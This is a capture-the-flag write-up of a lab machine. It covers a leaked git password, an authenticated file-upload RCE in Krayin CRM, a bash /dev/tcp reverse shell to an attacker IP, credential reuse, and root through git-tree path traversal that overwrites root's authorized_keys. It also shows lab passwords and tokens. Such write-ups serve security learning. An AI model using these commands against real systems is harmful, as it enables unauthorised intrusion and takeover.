Overview

The machine starts by enumerating vhosts that reveal a Krayin CRM instance and a Gitea repository, finding a leaked database password in a deleted git commit that leads nowhere until an email found on the main site's careers page pairs with the leaked password to log into Krayin as admin, exploiting an authenticated arbitrary file upload in the TinyMCE editor to get shell as www-data, reading the local env file to dump database credentials and crack a user's password to get SSH access as user, then abusing a root-run systemd timer that syncs Gitea template repos through an unsanitized path in a Python script, crafting a git tree with nested ".." entries to path-traverse and overwrite root's authorized_keys file to get shell as root

Enumeration

start with nmap enumeration

added the vhosts entry then visiting the site, there is not much we can see here ss_20260625_111509.png

tried fuzzing vhosts and we got 2 vhosts

the billing is hosting krayin which is an open source CRM, and there isn't a lot we can do without creds so lets find a credentials ss_20260625_111915.png

Gitea Instance

git is hosting gitea instance ss_20260625_112036.png

public repo for the krayin docker container ss_20260625_112109.png

reading the env file

checking commit logs there is another commit

bash
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/nexus/krayin-docker-setup]
└──╼ [★]$ git log
commit 9b817fa4e073d12fc43952acb09f3067b2f17adf (HEAD -> main, origin/main, origin/HEAD)
Author: admin < admin@nexus.htb>
Date:   Thu Apr 23 18:05:22 2026 +0000

    Upload files to "/"

commit 1615c465b74e5d7ad3162873382dd8b3869ca892
Author: admin < admin@nexus.htb>
Date:   Thu Apr 23 18:03:37 2026 +0000

checking the difference between them got the deleted password

bash
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/nexus/krayin-docker-setup]
└──╼ [★]$ git diff 1615c465b74e5d7ad3162873382dd8b3869ca892
diff --git a/.env b/.env
index cb7ccc3..5ae1bb2 100644
--- a/.env
+++ b/.env
@@ -2,7 +2,7 @@ APP_NAME='Krayin CRM'
 APP_ENV=local
 APP_KEY=
 APP_DEBUG=true
-APP_URL=http://nexus.htb
+APP_URL=http://billing.nexus.htb
 APP_TIMEZONE=Asia/Kolkata
 APP_LOCALE=en
 APP_CURRENCY=USD
@@ -15,7 +15,7 @@ DB_HOST=krayin-mysql
 DB_PORT=3306
 DB_DATABASE=krayin
 DB_USERNAME=krayin
-DB_PASSWORD=N27xh!!2ucY04
+DB_PASSWORD=
 DB_PREFIX=
 BROADCAST_DRIVER=log
 CACHE_DRIVER=file

tried all usernames we found nothing worked so went back to the main page to try and find any thing in the career button maybe an email and we found one ss_20260625_114833.png

Krayin Instance

testing matthew email with the password we got, we get in ss_20260625_115010.png

looking at our user we are administrator role ss_20260625_115129.png

the version is 2.2.0 which is vulnerable to RCE an authenticated arbitrary file upload vulnerability in the /admin/tinymce/upload endpoint of Webkul Krayin CRM v2.2.x allows attackers to execute arbitrary code via uploading a crafted PHP file.

the vulnerability exists in tinymce which is a rich text editor so all we need to do is to find a rich text editor place in the page and we find that in compose mail ss_20260625_115552.png

send this and intercept ss_20260625_120204.png

sending it returns a public accessible location for the attachment ss_20260625_120336.png

Shell as www-data

so visiting this file we get code execution ss_20260625_121022.png

so lets get a reverse shell

http
GET /storage/emails/2/shell.php?cmd=bash+-c+%22bash+-i+%3E%26+/dev/tcp/10.10.16.206/4444+0%3E%261%22 HTTP/1.1
Host: billing.nexus.htb

and we get a callback

bash
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/nexus]
└──╼ [★]$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.16.206] from (UNKNOWN) [10.129.21.125] 41990
bash: cannot set terminal process group (1464): Inappropriate ioctl for device
bash: no job control in this shell
www-data@nexus:~/krayin/storage/app/public/emails/2$ whoami
whoami
www-data
www-data@nexus:~/krayin/storage/app/public/emails/2$

reading the env again but the ones on the system we get a different password for the database

listing tables we find a users table

we got hash for james

Shell as jones

the list was exhausted so lets list users on the target and spray the db password against them

only jones and git

plaintext
www-data@nexus:~$ ls /home/
git  jones
www-data@ne

and we got in

running the peas there is a timer for git template sync

bash
╔══════════╣ System timers (T1053.003)
 https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#timers
══╣ Active timers: (T1053.003)
NEXT LEFT LAST PASSED UNIT ACTIVATES
Thu 2026-06-25 20:08:19 UTC 42s Thu 2026-06-25 20:07:19 UTC 17s ago gitea-template-sync.timer gitea-template-sync.service
Thu 2026-06-25 20:09:00 UTC 1min 22s Thu 2026-06-25 19:39:01 UTC 28min ago phpsessionclean.timer phpsessionclean.service
Thu 2026-06-25 20:10:00 UTC 2min 22s Thu 2026-06-25 20:00:09 UTC 7min ago sysstat-collect.timer sysstat-collect.service
Thu 2026-06-25 20:29:21 UTC 21min Thu 2026-06-25 19:55:38 UTC 11min ago fwupd-refresh.timer fwupd-refresh.service
Thu 2026-06-25 21:47:52 UTC 1h 40min Tue 2026-05-12 11:52:41 UTC - motd-news.timer motd-news.service
Thu 2026-06-25 23:16:15 UTC 3h 8min Thu 2026-04-23 18:33:27 UTC - man-db.timer man-db.service
Fri 2026-06-26 00:00:00 UTC 3h 52min Thu 2026-06-25 18:11:01 UTC 1h 56min ago dpkg-db-backup.timer dpkg-db-backup.service
Fri 2026-06-26 00:00:00 UTC 3h 52min Thu 2026-06-25 18:11:01 UTC 1h 56min ago logrotate.timer logrotate.service
Fri 2026-06-26 00:07:00 UTC 3h 59min - - sysstat-summary.timer sysstat-summary.service
Fri 2026-06-26 01:47:14 UTC 5h 39min Mon 2025-03-31 16:38:00 UTC - apt-daily.timer apt-daily.service
Fri 2026-06-26 06:47:43 UTC 10h Thu 2026-06-25 18:21:06 UTC 1h 46min ago apt-daily-upgrade.timer apt-daily-upgrade.service
Fri 2026-06-26 18:15:58 UTC 22h Thu 2026-06-25 18:15:58 UTC 1h 51min ago update-notifier-download.timer update-notifier-download.service
Fri 2026-06-26 18:25:58 UTC 22h Thu 2026-06-25 18:25:58 UTC 1h 41min ago systemd-tmpfiles-clean.timer systemd-tmpfiles-clean.service
Sat 2026-06-27 20:21:29 UTC 2 days Mon 2026-03-23 10:50:29 UTC - update-notifier-motd.timer update-notifier-motd.service
Sun 2026-06-28 03:10:17 UTC 2 days Thu 2026-06-25 18:11:18 UTC 1h 56min ago e2scrub_all.timer e2scrub_all.service
Mon 2026-06-29 00:55:46 UTC 3 days Thu 2026-06-25 19:41:28 UTC 26min ago fstrim.timer fstrim.service
- - - - apport-autoreport.timer apport-autoreport.service
- - - - snapd.snap-repair.timer snapd.snap-repair.service
- - - - ua-timer.timer ua-timer.service
══╣ Disabled timers: (T1053.003)

here is its configuration, it is running this python script

plaintext
jones@nexus:~$ systemctl cat gitea-template-sync.service
# /etc/systemd/system/gitea-template-sync.service
[Unit]
Description=Sync Gitea templates
After=network-online.target

[Service]
Type=oneshot
User=root
ExecStart=/usr/bin/python3 /etc/gitea/template-sync.py
TimeoutStartSec=50s
jones@nexus:~$ systemctl cat gitea-template-sync.timer
# /etc/systemd/system/gitea-template-sync.timer
[Unit]
Description=Run Gitea template sync every minute

[Timer]
OnBootSec=1min
OnUnitActiveSec=1min
Unit=gitea-template-sync.service

[Install]
WantedBy=timers.target

here is the script

this line is vulnerable to path traversal

plaintext
target = os.path.join(stage_path, filepath)

the issue with this file that it lacks sanitization, if file path contains ../../../ sequences, os.path.join will happily walk you straight out of STAGING_DIR and write anywhere on disk with the file mode preserved (0o755 if the git blob's mode is 100755) which makes me think of git tree path traversal → arbitrary file write, and if this service runs as root (it is ), then we can write whatever we need as root

we can login to jones at gitea ss_20260625_131402.png

first generate key

bash
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/nexus]
└──╼ [★]$ ssh-keygen -t ed25519 -f id
Generating public/private ed25519 key pair.
Enter passphrase for "id" (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in id
Your public key has been saved in id.pub
The key fingerprint is:
SHA256:Srp/SwiptkijqfEYkX/urtT9t4dXY7tFNrzTGN7Vgac jimmex@attacker
The key's randomart image is:
+--[ED25519 256]--+
| |
| . |
| . o |
| . . + o|
| o o . S E.o=|
| o o = o .+*=|
| oo= + + . . oo=+|
| oX.+ . o. o o ...|
| B ++=...oo.+ .. |
+----[SHA256]-----+

and get a token

bash
jones@nexus:~$ curl -X POST -u jones:'y27xb3ha!!74GbR' http://127.0.0.1:3000/api/v1/users/jones/tokens -H "Content-Type: application/json" -d '{"name":"evil-token","scopes":["al
l"]}'
{"id":2,"name":"evil-token","sha1":"77fe5d858dc84bce3f13f5e792d1df6645b8a7ed","token_last_eight":"45b8a7ed","scopes":["all"],"created_at":"0001-01-01T00:00:00Z","last_used_at":"0001-01-01T00:00:00Z"}

create a new repo and mark it as template ss_20260625_132450.png

then create the vulnerable tree

bash
jones@nexus:~/shell$ BLOB=$(git hash-object -w authorized_keys)
jones@nexus:~/shell$ S1=$(printf '100644 blob %s\tauthorized_keys\n' "$BLOB" | git mktree)
jones@nexus:~/shell$ S2=$(printf '040000 tree %s\t.ssh\n' "$S1" | git mktree)
jones@nexus:~/shell$ S3=$(printf '040000 tree %s\troot\n' "$S2" | git mktree)
jones@nexus:~/shell$ S4=$(printf '040000 tree %s\t..\n' "$S3" | git mktree)
S5=$(printf '040000 tree %s\t..\n' "$S4" | git mktree)
S6=$(printf '040000 tree %s\t..\n' "$S5" | git mktree)
S7=$(printf '040000 tree %s\t..\n' "$S6" | git mktree)
S8=$(printf '040000 tree %s\t..\n' "$S7" | git mktree)
jones@nexus:~/shell$ git cat-file -p $S8 # should show: tree < S7-hash> ..
git cat-file -p $S3 # should show: tree < S2-hash> root
git cat-file -p $S2 # should show: tree < S1-hash> .ssh
git cat-file -p $S1 # should show: blob < hash> authorized_keys
040000 tree 5ee7218d8246c514b4e7350c30b7c1a7e0473421    ..
040000 tree 5339ceb25397b1fa9b8dba5ffa6327ac9aaa699b    root
040000 tree 45f20871bb8cc4b501141114212f63e59204b944    .ssh
100644 blob 1badaaf9398cdc2415919429c26b80abc1866d13    authorized_keys

and commit and push

bash
jones@nexus:~/shell$ COMMIT=$(git commit-tree $S8 -m "evil2" )
jones@nexus:~/shell$ git update-ref refs/heads/master $COMMIT
jones@nexus:~/shell$ git push origin master --force
warning: unable to access '../../../../../root/.gitattributes': Permission denied
warning: unable to access '../../../../../root/.ssh/.gitattributes': Permission denied
Enumerating objects: 10, done.
Counting objects: 100% (10/10), done.
Delta compression using up to 2 threads
Compressing objects: 100% (2/2), done.
Writing objects: 100% (10/10), 574 bytes | 287.00 KiB/s, done.
Total 10 (delta 0), reused 0 (delta 0), pack-reused 0
remote: . Processing 1 references
remote: Processed 1 references in total
To http://127.0.0.1:3000/jones/shell.git
 + 000f24b...1985328 master -> master (forced update)

then watch the logs to see the files synced

bash
jones@nexus:~/shell$ tail -f /var/log/template-sync.log
[2026-06-25 20:34:20] Template sync starting
[2026-06-25 20:34:20] Found 1 template repo(s)
[2026-06-25 20:34:20] Syncing template: jones/shell
[2026-06-25 20:34:20]   synced: ../../../../../authorized_keys
[2026-06-25 20:34:20] Template sync complete
[2026-06-25 20:35:20] Template sync starting
[2026-06-25 20:35:20] Found 1 template repo(s)
[2026-06-25 20:35:20] Syncing template: jones/shell
[2026-06-25 20:35:20]   synced: ../../../../../root/.ssh/authorized_keys
[2026-06-25 20:35:20] Template sync complete
[2026-06-25 20:36:20] Template sync starting
[2026-06-25 20:36:20] Found 1 template repo(s)
[2026-06-25 20:36:20] Syncing template: jones/shell
[2026-06-25 20:36:20]   synced: ../../../../../root/.ssh/authorized_keys
[2026-06-25 20:36:20] Template sync complete

then we can login as you can see

Beyond root

here is the full script to automate it just if you did it manually before make sure to delete the used token and the repo if you called it shell

then run it and you see it worked

bash
jones@nexus:~/automated$ python3 exploit.py
[+] Creating Gitea API token...
[+] Token: 738e68c52867fbf899239bf28a66e8d4e01db4b5
[+] Creating repo: shell
[+] Marking shell as template repo
[+] Generating ed25519 keypair: id_ed25519_root
[+] Public key: ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIG3f8vx7G9EA6qQSAGiNMPstz+uASdNSHaWa8tFsIuR9 jones@nexus-htb
[+] Wrote payload to authorized_keys
[+] Blob: 1d84046814769df10c73b0ab26fe5d85d05da1a5
[+] authorized_keys -> 1d53afd9ca24778a5ae9f034c525d9f4e012df43
[+] .ssh -> 902624b99095861c39559b55c0bf7c2e2222837a
[+] root -> 1913b26b9eb91325164f136b5feb7c8977a93cd6
[+] '..' level 1 -> 9be4452e6585d031fc178fe323248a50b4558b95
[+] '..' level 2 -> 47cb2a2fd6d9bccc898844a4731d507473a6944a
[+] '..' level 3 -> 34f54b3e823a93ee69ba22c9442b6d1f136f32e3
[+] '..' level 4 -> 7b67ba6c077925cee02bc43c0f683082ae18eab3
[+] '..' level 5 -> 5591a102e10eb9e113c0e648cc7f43897faf59ec
[+] Commit: 6cd51cc8919938ee642dc7ab2f4af34856e34004
[+] Pushing...

[+] Done. Wait ~60s for the timer, then check:
    tail -f /var/log/template-sync.log
    ssh -i id_ed25519_root root@nexus.htb

Resources